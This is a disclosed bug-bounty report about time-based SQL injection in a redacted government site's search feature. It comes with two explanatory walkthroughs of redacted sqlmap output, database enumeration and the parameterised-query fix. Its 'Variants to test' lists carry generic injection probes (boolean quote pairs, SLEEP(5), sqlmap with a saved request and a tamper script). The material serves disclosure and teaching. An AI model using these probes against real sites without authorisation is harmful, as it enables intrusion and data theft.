Time Based SQL Injection
A time-based SQL injection was found in a search parameter, allowing an attacker to run arbitrary database queries. The reporter used sqlmap to confirm the injection and list database names, but did not extract data.
Originally disclosed on HackerOne
- Triaged in 1 hour
- Fixed in 25 days
- Disclosed after 2 months
Hello and greetings and respect to you, dear friends We all know that the sql injection bug is very dangerous, so this bug should be eliminated as soon as possible. I've identified an SQL injection vulnerability of type Time Based on█████████ ██████ Below, we see how we found this vulnerability If you look carefully, we see that search in the website name Search results The gap has occurred there as you can see ████████ Method [██████████████/?███████ ] now it's time to inject or generate POC with lovely tool sqlmap We used a text file here by Name request.txt and this is our command in sqlmap you can use this command for your own confidence
███ █████████
███████████/?██████ HTTP/1.1 Host: ████████ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0 Pragma: no-cache Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer:█████████/?███ Content-Length: 133 Cookie: ███████ Connection: Close ██████
████ █████ ___ H ___ ["]__ ___ ___ {1.7.1.5#dev} |_ -| . ["] | .'| . | || [']|||__,| | ||V... || ██████████
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ ██████████ █████
[████] [INFO] parsing HTTP request from 'request' [███████] ███ [███████] █████████████ Firefox/3.0b5' from file '/home/ubuntu/sqlmap/data/txt/user-agents.txt' █████ ████████ body. Do you want to process it? [Y/n/q] Y [█████] [INFO] resuming back-end █████████S 'mysql' [███] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session:
Parameter: #1* ((custom) ██████) ██████████ ██████████ █████████
[████] [WARNING] changes made by tampering scripts are not included in shown payload content(s) [████████] [INFO] the back-end ██████████████ ████ back-end ████S: ███████ [████████] [INFO] fetching database names [███████] [INFO] fetching number of databases [█████████] [WARNING] reflective value(s) found and filtering out [████████] ███ [██████████]████████ [██████████]███████ [████] ██████ [██████]█████████ [█████]████ [█████]█████████ [██████]████████ [██████]██████ [███] █████████ [██████████]██████████ [███████] ██████ [██████████]████████ [█████████]█████████ [█████████]███ [██████]██████ [██████]█████ [████████]██████████ [███████]████████ available databases [6]: ███ ████ ██████████ █████████ ███████ ███
Notice: I didn't extracted any data from the database, but just for generate POC
Impact
the hackers can be dump all information like all database tables then after that login to the website
available databases [6]: █████████ ██████████ ██████ █████ █████████ ███
Context
This write-up covers a time-based SQL injection found in a search feature on a website belonging to the U.S. Department of State program on HackerOne. The researcher, shadow-krd, disclosed the report on 20 April 2023. The platform records the weakness as SQL Injection, the severity as critical, and the CVSS score as 9.3.
The affected feature is the site's search function. When a visitor submits a search, the site returns a page of search results. The researcher describes the vulnerable spot as the search on the website, where the results page is generated. The report does not name the host, the parameter, or the exact endpoint; those parts of the text are redacted.
Setup
The only tool the researcher names is sqlmap, and the banner in the captured output shows version {[redacted]#dev}. The request was saved to a text file called request.txt and passed to sqlmap, which parsed the full HTTP request rather than a single URL. The captured request shows a Firefox 105.0 user agent on Windows, which suggests the request was taken from a browser session or a proxy. No account, role or authentication detail is given beyond the presence of a Cookie header in the captured request.
Finding it
The researcher's reasoning is simple: SQL injection is dangerous, so it should be eliminated quickly. Looking at the search results page, the researcher concluded that the search input is where the gap occurs, that is, where user input reaches the query. The report shows the method as a request to a path with a query string, both redacted:
████████ Method [██████████████/?███████ ]
Nothing in the report explains how the parameter was first suspected, for example through error messages or manual quote tests. The evidence presented is the sqlmap run itself.
Exploitation
Step 1: capture the request into a file
The researcher saved the search request as request.txt. The captured request, with the redacted parts left as they appear, is:
███████████/?██████ HTTP/1.1
Host: ████████
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Referer:█████████/?███
Content-Length: 133
Cookie: ███████
Connection: Close
██████
The request is a GET to a path with a query string, sent with a browser user agent and a session cookie. The Content-Type: application/x-www-form-urlencoded header and the Content-Length: 133 header are present even though the visible request line is a GET; the body itself is redacted. The Referer header is present but redacted.
Step 2: run sqlmap against the saved request
The researcher ran sqlmap with the saved request file. The command line itself is redacted in the report, but the tool output shows it parsed the request from 'request' and resumed a stored session. The banner and the start of the run:
___
__H__
___ ___["]_____ ___ ___ {[redacted]#dev}
|_ -| . ["] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| ██████████
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ ██████████ █████
[████] [INFO] parsing HTTP request from 'request'
[███████] ███
[███████] █████████████ Firefox/3.0b5' from file '/home/ubuntu/sqlmap/data/txt/user-agents.txt'
█████ ████████ body. Do you want to process it? [Y/n/q] Y
[█████] [INFO] resuming back-end █████████S 'mysql'
[███] [INFO] testing connection to the target URL
Two details are worth noting. First, sqlmap asked whether to process the request body and the researcher answered Y, which indicates the saved request carried a body. Second, sqlmap reported that it was resuming the back-end DBMS as mysql, so the earlier session had already identified the database engine. The user agent line shows sqlmap rotating through its bundled user-agent list, here picking a Firefox 3.0b5 string from /home/ubuntu/sqlmap/data/txt/user-agents.txt.
Step 3: the injection point
sqlmap resumed the injection point from the stored session:
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) ██████)
██████████
██████████
█████████
---
[████] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[████████] [INFO] the back-end ██████████████
████
back-end ████S: ███████
The parameter name, its type and the payloads are redacted. The * after #1 is sqlmap's marker for the injection point, and the (custom) label appears in the output. The warning about tampering scripts says that changes made by tampering scripts are not included in the shown payload content. The back-end DBMS line is redacted in this block, but the earlier line already named MySQL.
Step 4: enumerate databases
With the injection confirmed, the researcher asked sqlmap to list databases:
[████████] [INFO] fetching database names
[███████] [INFO] fetching number of databases
[█████████] [WARNING] reflective value(s) found and filtering out
[████████] ███
[██████████]████████
[██████████]███████
[████] ██████
[██████]█████████
[█████]████
[█████]█████████
[██████]████████
[██████]██████
[███] █████████
[██████████]██████████
[███████] ██████
[██████████]████████
[█████████]█████████
[█████████]███
[██████]██████
[██████]█████
[████████]██████████
[███████]████████
available databases [6]:
███
████
██████████
█████████
███████
███
The run returned six database names, all redacted. The reflective value(s) found and filtering out warning is sqlmap noting that part of its payload was echoed back in the response and removing it from the comparison, which is common on search pages that repeat the query. The repeated progress lines are sqlmap's extraction of the names, shown with redacted output.
Root cause
The report does not include the server-side code, so the exact mistake is not shown. The report does not show the server-side code, so the exact mistake is not established. The report identifies the injection as time-based and shows sqlmap warning about reflective values.
Impact
The researcher states the impact plainly: attackers can dump all information, such as all database tables, and after that log in to the website. The researcher says explicitly that no data was extracted from the database and that the database listing was produced only to generate a proof of concept. The six database names are the only enumeration result shown, and they are redacted. The practical impact therefore depends on what the application's database user is permitted to read and on whether credentials or session data are stored in those databases; the report does not establish either.
Fix
The appropriate remediation for this class of bug is to build the search query with parameterised statements or prepared statements so that user input is bound as a value and never parsed as SQL, and to give the application's database account only the privileges it needs. Input filtering alone is not a reliable substitute for parameterisation.
Variants to test
- Search boxes and filter forms on other sites in the same program. Submit a single quote and a boolean pair such as
' AND '1'='1versus' AND '1'='2, and look for a difference in result count or page content. - Time-based confirmation where output is not reflected. Use a database-appropriate sleep payload and compare response times over several requests to rule out network jitter; a consistent delay only on the injected request is a positive result.
- Saved-request replay. Capture the full request including cookies and body, save it to a file, and run sqlmap with
-ras the researcher did; a positive result is sqlmap identifying an injection point and the back-end DBMS. - Reflected search pages. Where the query string is echoed into the results page, check whether sqlmap reports reflective values being filtered out; that warning often accompanies a real injection on search features.
- Tamper scripts. If a WAF or keyword filter is present, try a tamper script and watch for the warning that tampering changes are not shown in the payload log; a positive result is the same injection point confirmed with the tamper in place.
- Database enumeration as proof. Once an injection is confirmed, list databases only, as the researcher did, rather than dumping table contents; a positive result is a database list returned without extracting user data.
What happened, in plain words
A security researcher found a serious bug in a search feature on a website run by the U.S. Department of State. The bug is called SQL injection. In simple terms, the website takes what you type into its search box and passes it to a database without checking it properly. A database is where websites store information like user accounts, pages, and settings. If an attacker can slip extra instructions into the search box, the database may follow them. That can let the attacker read, change, or delete data.
The researcher used a free tool called sqlmap to confirm the bug. sqlmap sends specially crafted requests to the website and watches how the site responds. The researcher used a technique called time-based SQL injection. That means the tool asks the database to wait a few seconds before answering. If the response is slow only when the special request is sent, the tool knows the injection worked.
The researcher did not steal any data. They only listed the names of the databases to prove the bug was real. The report was disclosed on 20 April 2023. The platform rates it as critical, with a CVSS score of 9.3. CVSS is a standard way to score how severe a vulnerability is, from 0 to 10.
Background: what is SQL injection?
Every website that stores or retrieves information uses a database. When you search on a site, the site builds a query, which is a question written in a language called SQL, and sends it to the database. For example, a simple search query might look like this:
Here, search term is whatever you typed. If the website simply inserts your text into the query without cleaning it, an attacker can type something that changes the query's meaning. That is SQL injection.
A common way to test for SQL injection is to send a single quote ('). In SQL, a single quote marks the beginning or end of a text value. If the site does not handle it correctly, the quote can break the query and cause an error. But many sites hide errors. In those cases, attackers use time-based injection: they inject a command that tells the database to pause for a few seconds. If the page takes longer to load, the injection worked.
The vulnerable feature
The researcher focused on the website's search function. When you type something into the search box and press Enter, the site shows a results page. The researcher noticed that the search input is where user input reaches the database query. The report does not name the exact web address or the parameter (the part of the URL that carries the search term), because those details are redacted (blacked out) in the public report.
The report shows the method as a request to a path with a query string, both redacted:
████████ Method [██████████████/?███████ ]
This line is a placeholder for the actual HTTP request. HTTP is the protocol browsers and servers use to talk. A request has a method (like GET or POST), a path (like /search), and optionally a query string (the part after ?). The researcher is saying that the search sends the term in the URL, but the exact details are hidden.
Step 1: Capture the request
To test the search feature, the researcher first saved a real request from their browser into a file called request.txt. This is useful because the request includes everything the browser sends: cookies, headers, and any body. A cookie is a small piece of data a website stores in your browser to remember you, for example to keep you logged in. Headers are extra information sent with the request, like the browser type or the language.
The saved request looks like this (with redactions):
███████████/?██████ HTTP/1.1
Host: ████████
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Referer:█████████/?███
Content-Length: 133
Cookie: ███████
Connection: Close
██████
Let's go through this line by line:
- The first line is the request line. The method, path and query string are redacted, followed by the HTTP version (
HTTP/1.1). Host:tells the server which website the request is for. This is needed because one server can host many sites. The value is redacted.User-Agent:identifies the browser and operating system. Here it says the request came from Firefox 105.0 on Windows 10 (64-bit). This helps the server tailor the response, and it also makes the request look like a normal browser.Pragma: no-cacheandCache-Control: no-cachetell any cache (a store of previous responses) not to reuse a saved copy. This ensures the request goes to the server fresh.Content-Type: application/x-www-form-urlencodedsays that if there is a body, it is formatted like a web form (key=value pairs). This header is present in the captured request.Referer:(yes, it is spelled that way in HTTP) tells the server which page the request came from. The value is redacted.Content-Length: 133says the body is 133 bytes long. The body itself is redacted.Cookie:carries the session cookie. A session cookie is like a wristband at an event: it proves you are already logged in or have an active session. The value is redacted.Connection: Closeasks the server to close the connection after the response, rather than keeping it open for more requests.- The last line,
██████, is redacted.
Saving the full request is important because it lets a tool replay exactly what the browser sent, including cookies and any hidden form fields. That makes the test more realistic and more likely to succeed.
Step 2: Run sqlmap against the saved request
The researcher then used sqlmap, a tool that automates the process of finding and exploiting SQL injection. sqlmap can take a saved request file, and the output shows it read the request from a file named request. The exact command is redacted, but the output shows that sqlmap read the request from a file named request (likely request.txt without the extension).
Here is the beginning of sqlmap's output:
___
__H__
___ ___["]_____ ___ ___ {[redacted]#dev}
|_ -| . ["] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| ██████████
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ ██████████ █████
[████] [INFO] parsing HTTP request from 'request'
[███████] ███
[███████] █████████████ Firefox/3.0b5' from file '/home/ubuntu/sqlmap/data/txt/user-agents.txt'
█████ ████████ body. Do you want to process it? [Y/n/q] Y
[█████] [INFO] resuming back-end █████████S 'mysql'
[███] [INFO] testing connection to the target URL
Line by line:
- The ASCII art is sqlmap's banner. The version is
{[redacted]#dev}. - The legal disclaimer warns that using sqlmap without permission is illegal. This is a reminder that you should only test systems you own or have explicit permission to test.
[*] starting @ ...shows the start time (redacted).[INFO] parsing HTTP request from 'request'means sqlmap is reading the saved request file.- The next lines show sqlmap loading a list of user agents from a file. It loads a user agent from a file, here
Firefox/3.0b5. █████ ████████ body. Do you want to process it? [Y/n/q] Yis a prompt asking whether to process the request body. The researcher answeredY(yes). This tells us the saved request had a body, even if the method was GET.[INFO] resuming back-end █████████S 'mysql'means sqlmap is continuing from a previous session and already knows the database type is MySQL. MySQL is a popular open-source database system.[INFO] testing connection to the target URLmeans sqlmap is checking that it can reach the website.
Step 3: The injection point
After connecting, sqlmap reported that it had found an injection point, but it resumed it from a stored session. That means the researcher had run sqlmap before, and sqlmap saved what it learned. Here is the output:
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) ██████)
██████████
██████████
█████████
---
[████] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[████████] [INFO] the back-end ██████████████
████
back-end ████S: ███████
Explanation:
Parameter: #1* ((custom) ██████)identifies the vulnerable parameter. The#1means it is the first parameter. The*is sqlmap's marker for the exact spot where the injection goes. The(custom)label appears in the output; the parameter name and type are redacted. The parameter name and type are redacted.- The lines with
██████████are the payloads (the malicious inputs) that sqlmap used. They are redacted. [WARNING] changes made by tampering scripts are not included in shown payload content(s)says tampering changes are not shown in the payload log. A tamper script modifies the payload to try to bypass filters (like a security guard checking bags). The warning says the displayed payloads do not show those modifications.[INFO] the back-end ██████████████andback-end ████S: ███████are about the database type. The first line is partially redacted, but the second line likely says the back-end DBMS is MySQL (though it is redacted here). Earlier, sqlmap already said it was resuming with MySQL.
Step 4: List the databases
With the injection confirmed, the researcher asked sqlmap to list the databases on the server. This is a common way to prove the vulnerability without stealing actual data. The output is:
[████████] [INFO] fetching database names
[███████] [INFO] fetching number of databases
[█████████] [WARNING] reflective value(s) found and filtering out
[████████] ███
[██████████]████████
[██████████]███████
[████] ██████
[██████]█████████
[█████]████
[█████]█████████
[██████]████████
[██████]██████
[███] █████████
[██████████]██████████
[███████] ██████
[██████████]████████
[█████████]█████████
[█████████]███
[██████]██████
[██████]█████
[████████]██████████
[███████]████████
available databases [6]:
███
████
██████████
█████████
███████
███
What this means:
[INFO] fetching database namesand[INFO] fetching number of databasesshow sqlmap is asking the database for its list of databases.[WARNING] reflective value(s) found and filtering outmeans part of the injected input was echoed back in the page. Search pages often show what you searched for, so the input appears in the response. sqlmap detects this and removes it from its analysis to avoid confusion.- The many lines with progress indicators (like
[██████████]) are sqlmap extracting the database names, with the output redacted. available databases [6]:lists six database names, all redacted.
Root cause
The report does not include the server-side code, so we cannot see the exact mistake. The report does not include the server-side code, so the exact mistake is not shown. Proper handling means using parameterised queries (also called prepared statements), where user input is treated as data, not as part of the SQL command. Without that, the database executes whatever SQL the attacker injects.
The report identifies the injection as time-based and shows sqlmap warning about reflective values. That is why the researcher had to rely on timing. The report does not mention any firewall, filter, or escaping that might have been in place.
Impact
The researcher states that attackers could dump all information, such as all database tables, and then log in to the website. However, the researcher explicitly says they did not extract any data; they only listed the database names to prove the bug. The six database names are redacted. The real impact depends on what the database user is allowed to read and whether sensitive data like passwords or session tokens are stored there. The report does not confirm either.
Fix
The standard fix for SQL injection is to use parameterised queries or prepared statements. This ensures that user input is always treated as data, never as SQL code. Additionally, the database account used by the application should have only the permissions it needs, so even if an injection occurs, the damage is limited. Input filtering alone is not a reliable substitute.
Variants to test
If you are testing a similar feature (with permission), here are some approaches:
- Search boxes and filter forms: Try submitting a single quote (
') and see if you get an error. Then try a pair of inputs like' AND '1'='1and' AND '1'='2. If the page behaves differently (e.g. different number of results), it might be injectable. - Time-based confirmation: If the page does not show errors or data, use a payload that causes a delay. For example, in MySQL you can use
SLEEP(5). Compare response times over several requests to rule out network lag. A consistent delay only on the injected request is a positive sign. - Saved-request replay: Capture a full request (including cookies and body) using your browser's developer tools or a proxy like Burp Suite. Save it to a file and run sqlmap with
-r request.txt. If sqlmap identifies an injection point and the back-end DBMS, the bug is confirmed. - Reflected search pages: If the search term appears on the results page, watch for sqlmap's warning about reflective values. That often accompanies a real injection on search features.
- Tamper scripts: If a web application firewall (WAF) or keyword filter is present, try a tamper script (e.g.
--tamper=space2comment). Watch for the warning that tampering changes are not shown in the payload log. A positive result is the same injection point confirmed with the tamper in place. - Database enumeration as proof: Once an injection is confirmed, list only the database names, as the researcher did, rather than dumping table contents. This proves the bug without exposing user data.
Glossary
- SQL: Structured Query Language, the language used to talk to databases.
- SQL injection: A vulnerability where an attacker can insert SQL code into a query, often through user input.
- Time-based SQL injection: A technique where the attacker infers information by measuring how long the database takes to respond, using delays.
- Database: An organised collection of data stored electronically.
- DBMS: Database Management System, the software that manages a database (e.g. MySQL).
- MySQL: A popular open-source database management system.
- HTTP: HyperText Transfer Protocol, the foundation of data communication on the web.
- HTTP request: A message sent by a client (like a browser) to a server, asking for a resource or action.
- HTTP response: The server's reply to a request.
- Header: Extra information sent with an HTTP request or response, such as the browser type or cookies.
- Cookie: A small piece of data stored by the browser and sent with requests to identify a user or session.
- Session cookie: A cookie that maintains a user's session, often used for login state.
- User-Agent: A header that identifies the client software (browser, operating system).
- Referer: A header that indicates the page from which the request originated.
- Query string: The part of a URL after the
?, containing parameters and values. - Parameter: A named value in a request, often part of the query string or body.
- GET: An HTTP method used to retrieve data; parameters are usually in the URL.
- POST: An HTTP method used to send data; parameters are usually in the body.
- Body: The part of an HTTP request or response that carries data, after the headers.
- Content-Type: A header that tells the format of the body (e.g.
application/x-www-form-urlencoded). - Content-Length: A header that gives the size of the body in bytes.
- sqlmap: An open-source tool that automates detecting and exploiting SQL injection.
- Payload: The malicious input sent to exploit a vulnerability.
- Tamper script: A sqlmap feature that modifies payloads to evade filters.
- WAF: Web Application Firewall, a security layer that filters HTTP traffic to block attacks.
- CVSS: Common Vulnerability Scoring System, a standard for rating the severity of security vulnerabilities.
- Redacted: Hidden or blacked out in a public report to protect sensitive information.
- Proof of concept (PoC): A demonstration that a vulnerability exists, often minimal, without causing harm.
- Parameterised query: A way to build SQL queries where user input is passed separately, preventing injection.
- Prepared statement: Another term for parameterised query.
- Reflective value: When input is echoed back in the response, which can interfere with automated tools.
- ASCII art: Text-based art, like sqlmap's banner.